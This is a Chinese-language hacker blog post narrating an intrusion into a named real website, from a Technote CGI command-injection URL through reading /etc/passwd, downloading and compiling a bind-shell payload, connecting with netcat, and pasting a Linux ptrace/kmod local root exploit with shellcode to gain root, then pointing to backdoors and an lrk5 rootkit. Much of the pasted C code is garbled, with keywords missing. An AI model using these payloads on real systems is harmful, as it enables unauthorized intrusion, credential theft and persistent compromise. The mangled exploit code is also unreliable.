root权限:从web漏洞到系统root权限过程全展现

作者:cnbird

大家好我是cnbird我又回来了好长时间没有写文章了今天手痒痒

所以就写了希望对和unix初学者有帮助.欢迎大家和我讨论技术MainpAge:http://cnbird.hackvip.cn

    最近在家研究perl和UNIX服务器安装和应用所以很长时间没有进行渗          透了在学perl和UNIX话就要傻了什么也不会了所以去各大黑客站点

转转吧来到了www.nsfocus.net看看吧有没有什么新公告啊Technote '.cgi'远程任意命令执行漏洞 这个漏洞引起了我注意大致看了看

知道了这是个可以远程执行命令漏洞下面把漏洞信息公布Technote是韩国Technote公司开发公告牌系统

Technote'.cgi'没有充分过滤用户提交输入远程攻击者可以利用这

个漏洞以WEB进程权限在系统上执行任意命令

由于不正确过滤'filename'参数攻击者提交包含"|command"数据作为参

数内容可能以WEB进程权限在系统上执行任意命令


给出利用思路方法

_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

   看了看利用思路方法觉得很简单所以打算自己写个perl漏洞利用

看了半天终于完成了自己perl新学原因所以写比较简陋还要自己

修改路径很麻烦我就不公布了高手见笑其实这个漏洞成功率还是

很高基本上90%以上吧对于咱们这些经常搞安全应该说是个好消息.

^_^.

   好了开始咱们这次难得入侵的旅吧,这篇文章看着很简单其实融合我多年

经验(其实就1-2年),首先要测试这个漏洞先要找这样论坛

google.com就是方便下子找到了大堆好了随便挑个进行测试吧哈哈哈就拿你开口吧

http://www.sealia.com/cgi-bin/technote/.cgi首先大致看了看然后就开始吧

按照绿盟给出公告测试输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

结果如图1






大家看到结果了

uid=99(nobody) gid=99(nobody) groups=99(nobody)

下面就开始利用我自己写来完成工作了毕竟在IE里面输太麻烦了
工作界面如图2






依次输入IP和端口就可以直接运行输入id呵呵和IE里面基本上差不多.

如图3






呵呵到这里我想大家思路就是上传个webshell然后在webshell里面搞了

其实我也有这样想法可是我已经习惯了UNIX命令行模式了虽然能写个webshell但是我并没有这样做是拿到root权限大家定问了你连主机都没有连上呢你如何拿到root啊小伙子你问不错奖你个梨吃呵呵下面我思路就是登陆到机器上面上面大家已经看到了我们id命令输出是uid=99(nobody) gid=99(nobody) groups=99(nobody)权限还是很低试试能不能拿到/etc/passwd然后跑密码然后执行[www.sealia.com]$ cat /etc/passwd

不错能拿到/etc/passwd

如图4






   呵呵已经得到/etc/passwd了我们用流光去跑密码吧当然我没有指望它能跑出来等待时间真漫长啊无聊都已经5点50分了天天晚上哦哦不是晚上了是早晨这个时候睡觉然后12点起来天天如此苦啊

   去forum.zone-h.org看看帖子吧也许能找到什么灵感呢!无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb漏洞利用思路方法和代码看看吧虽然已经很老很老了呵呵其实说实话不怕各位见小我以前问在这里问过问题很长时间没有来了看看他们有没有给回复啊

如图5






呵呵见笑了真没想到他们给答案还很全面^_^连什么都给出了老外就是实在...呵呵...

This _disibledevent=>
   "\x31\xdb"   // xor    ebx, ebx
   "\xf7\xe3"   // mul    ebx
   "\xb0\x66"   // mov     al, 102
   "\x53"   // push    ebx
   "\x43"   // inc     ebx
   "\x53"   // push    ebx
   "\x43"   // inc     ebx
   "\x53"   // push    ebx
   "\x89\xe1"   // mov     ecx, esp
   "\x4b"   // dec     ebx
   "\xcd\x80"   //      80h
   "\x89\xc7"   // mov     edi, eax
   "\x52"   // push    edx
   "\x66\x68\x4e\x20"  // push    word 8270
   "\x43"   // inc     ebx
   "\x66\x53"   // push    bx
   "\x89\xe1"   // mov     ecx, esp
   "\xb0\xef"   // mov    al, 239
   "\xf6\xd0"   // not    al
   "\x50"   // push    eax
   "\x51"   // push    ecx
   "\x57"   // push    edi
   "\x89\xe1"   // mov     ecx, esp
   "\xb0\x66"   // mov     al, 102
   "\xcd\x80"   //      80h
   "\xb0\x66"   // mov     al, 102
   "\x43"   // inc    ebx
   "\x43"   // inc    ebx
   "\xcd\x80"   //      80h
   "\x50"   // push    eax
   "\x50"   // push    eax
   "\x57"   // push    edi
   "\x89\xe1"   // mov    ecx, esp
   "\x43"   // inc    ebx
   "\xb0\x66"   // mov    al, 102
   "\xcd\x80"   //     80h
   "\x89\xd9"   // mov    ecx, ebx
   "\x89\xc3"   // mov     ebx, eax
   "\xb0\x3f"   // mov     al, 63
   "\x49"   // dec     ecx
   "\xcd\x80"   //      80h
   "\x41"   // inc     ecx
   "\xe2\xf8"   // loop    lp
   "\x51"   // push    ecx
   "\x68\x6e\x2f\x73\x68" // push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69" // push    dword 69622f2fh
   "\x89\xe3"   // mov     ebx, esp
   "\x51"   // push    ecx
   "\x53"   // push    ebx
   "\x89\xe1"   // mov    ecx, esp
   "\xb0\xf4"   // mov    al, 244
   "\xf6\xd0"   // not    al
   "\xcd\x80";   //      80h


{
  void (*a) = (void *)code;
   i;
  prf("size: %d s\n", strlen(code));
  prf("Testing for cntrl characters.. ");
  for(i=0;i     (iscntrl(code[i])) prf("FAILED\n"), exit(255);
  prf("PASSED\n");
  a;
}
   好了我们已经知道该下载地址
http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了
就可以用wget这个命令来下载了输入
wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思
就是下载这个shell.c到/tmp目录下如图6






然后ls /tmp得到下面结果[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs
这个时候就介绍说明已经成功了现在我们查找下gcc在哪里别到时候闹了半天
在没有gcc就麻烦了然后输入whereis -b gcc意思就是查找gcc全路径输出结果
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
12gcc: /usr/bin/gcc
好了找到gcc了接下来事就好办了编译源gcc shell-bind-shell.c -o bind
编译成功在/tmp目录下多了个我们编译bind下面我们就来执行它吧
/tmp/bind执行很慢哦.....大概等了1-2分钟执行完成根据介绍我
们知道他开了20000端口我们telnet 上去吧telnet www.sealia.com 20000
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕如何出现"command not found"
我晕了没错啊看看源找到了最后哈哈知道了原因
Note: To use this you will need to make sure that you append '\n\0' to your entered s, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|;while (<>) { pr . "\n\x00"; }' | nc hostname 20000
(nc is netcat).好了知道为什么了我们就换nc提交吧执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7






呵呵到这里我们可爱流光还在跑呢跑了将近半个小时了不等了关闭它太浪费资源了这个时候我大概知道他是个linux操作系统但不知道内核版本输入uname -r 可以看到这个linux内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20下面咱们来提升权限吧就是拿到root这里介绍说明下这里有2个很好用漏洞利用个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了咱们开始提升权限吧大家先把咱们要利用输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*
* Linux kernel ptrace/kmod local root exploit
*
* This code exploits a race condition in kernel/kmod.c, which creates
* kernel thread in insecure manner. This bug allows to ptrace cloned
* process, allowing to take control over privileged modprobe binary.
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently _disibledevent=> "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";

# CODE_SIZE ((cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile gotchild = 0;

void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
i, len;

memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
(len -1)
fatal("[-] Unable to read /proc/self/exe");

len CODE_SIZE + 1;
buf[len] = '\0';

src = (unsigned long*) buf;
for (i = 0; i < len; i 4)
(ptrace(PTRACE_POKETEXT, victim, dst, *src) -1)
fatal("[-] Unable to write shellcode");
}

void sigchld( signo)
{
struct user_regs_struct regs;

(gotchild 0)
;

fprf(stderr, "[+] Signal caught\n");

(ptrace(PTRACE_GETREGS, victim, NULL, 畇) -1)
fatal("[-] Unable to read registers");

fprf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprf(stderr, "[+] Now wait for suid shell...\n");

(ptrace(PTRACE_DETACH, victim, 0, 0) -1)
fatal("[-] Unable to detach from victim");

exit(0);
}

void sigalrm( signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}

void do_child(void)
{
err;

child = getpid;
victim = child + 1;

signal(SIGCHLD, sigchld);

do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err -1 && errno ESRCH);

(err -1)
fatal("[-] Unable to attach");

fprf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
(ptrace(PTRACE_SYSCALL, victim, 0, 0) -1)
fatal("[-] Unable to up syscall trace");
fprf(stderr, "[+] Waiting for signal\n");

for(;;);
}

void do_parent(char * progname)
{
struct stat st;
err;
errno = 0;
(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err 0 && (st.st_mode & S_ISUID) != S_ISUID);

(err -1)
fatal("[-] Unable to stat myself");

alarm(0);
system(progname);
}

void prepare(void)
{
(geteuid 0) {
initgroups("root", 0);
gid(0);
uid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}

( argc, char ** argv)
{
prepare;
signal(SIGALRM, sigalrm);
alarm(10);

parent = getpid;
child = fork;
victim = child + 1;

(child -1)
fatal("[-] Unable to fork");

(child 0)
do_child;

do_parent(argv[0]);

0;
}CRTL+C保存然后编译gcc 1.c -o 1编译成功然后输入./1开始执行了-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell _disibledevent=> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了剩下工作就是安装后门了大家可以参考我另外篇文章more.asp?name=cnbird&id=522还有推荐个不错rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有工作就算已经完成了其实从入侵中我们可以看出来我们做网站WebSite定要重视web漏洞点点小漏洞就可以把能拿到系统最高权限可见其危害性希望国内网管能够重视起来.







  • 篇文章: 次虚拟入侵经过

  • 篇文章: 手工添加系统服务 完全版
  • Tags:  linux系统root密码 linuxroot权限 ubunturoot权限 root权限

    延伸阅读

    最新评论

    发表评论